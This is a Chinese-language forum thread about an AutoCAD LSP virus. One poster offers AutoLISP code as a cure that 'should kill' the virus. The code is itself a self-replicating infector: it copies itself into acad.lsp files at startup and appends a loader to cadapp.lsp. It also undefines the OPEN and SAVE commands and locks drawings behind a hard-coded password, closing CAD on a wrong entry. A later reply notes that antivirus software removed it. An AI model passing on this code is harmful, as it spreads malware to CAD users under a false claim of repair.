[原创]LSP病 毒???

killer9806

谢谢楼主将代码帖出来哦

tcsl9621

我也早就找到杀这个病毒的方法了。呵……

kerrywm

这个病毒是自动加载的，你也可以UNDEFINE掉用的指令，让其连绘直线都不可以，不过删掉ACAD。LSP就可以了，不算太恶劣。

honxj

我上班用的电脑也有一个这样的LSP，我加载过，好像没事!

cqzhou

是我做的

fly_902

应该搜索整个电脑上的acad.lsp文件, 然后删掉就行了

ty0931

没见过,要学习和研究。

wqlovelg1128

niu wo gei laoshi chunanti le

zuoweisz

用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).

(defun S::STARTUP (/        old_cmd  lctn     dwglctn  mnllctn
                   applctn  oldacad  newacad  nowdwg   lspbj
                   wjm      wjm1     wjqm     wjqm1    wz
                   ns1      ns2      wjm0     wjqm0
                  )
  (setq lst0 (list "(" "load" "CADstartup.lsp" ")"))
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn)
    (if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn)
      (if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) )))
  (setq lctn lctn0)
  (setq lctn (substr lctn 1 (- (strlen lctn) 8)))
  (setq mnllctn (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(if (equal  (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
  (setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) )
  (setq wjqm (strcat lctn "acad.lsp"))
  (setq wjqm0 (strcat lctn "cadapp.lsp"))
  (if (setq wjm0 (open wjqm0 "a"))
    ;(progn
    ;(setq aa (read-line wjm0))
    ;(if (/= aa "load CADstartup.lsp")
    (progn
      (setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0)))
      (write-line aa wjm0)
      )
      (close wjm0)
    )
  
     (setq oldacad (findfile "CADstartup.lsp"))
       (setq newacad (strcat lctn "acad.lsp"))
       (writeapp)
  (setq oldacad (findfile "acad.lsp"))
  (setq newacad (strcat dwglctn "acad.lsp"))
       (writeapp)
  (command "undefine" "open")
  (command "undefine" "save")
  (setvar "cmdecho" old_cmd)
(print "This is CAD")
  (princ)
)
(defun writeapp ()
  (if
    (setq wjm1 (open newacad "w"))
     (progn
       (setq wjm (open oldacad "r"))
       (while
         (setq wz (read-line wjm))
          (write-line wz wjm1)
       )
       (close wjm)
       (close wjm1)
     )
  )
)
(defun C:open (/ p cont old_cmd)
  (setq
    old_cmd (getvar "cmdecho")
  )
  (setvar "cmdecho" 0)
  (setq p "12345")
  (setq p0 (getstring "\Input Pass Word:"))
  (if (eq p p0) (progn
    (command "redefine" "open")
    (command "open" "")) (command "quit" ""))
)
(defun C:save (/ old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
   (setq p0 (getstring "\Are you finish?"))
  (command "redefine" "save")
  (command  "save" "")
  (setvar "cmdecho" old_cmd)
  (princ)
)

tist

试了试，被卡巴给杀了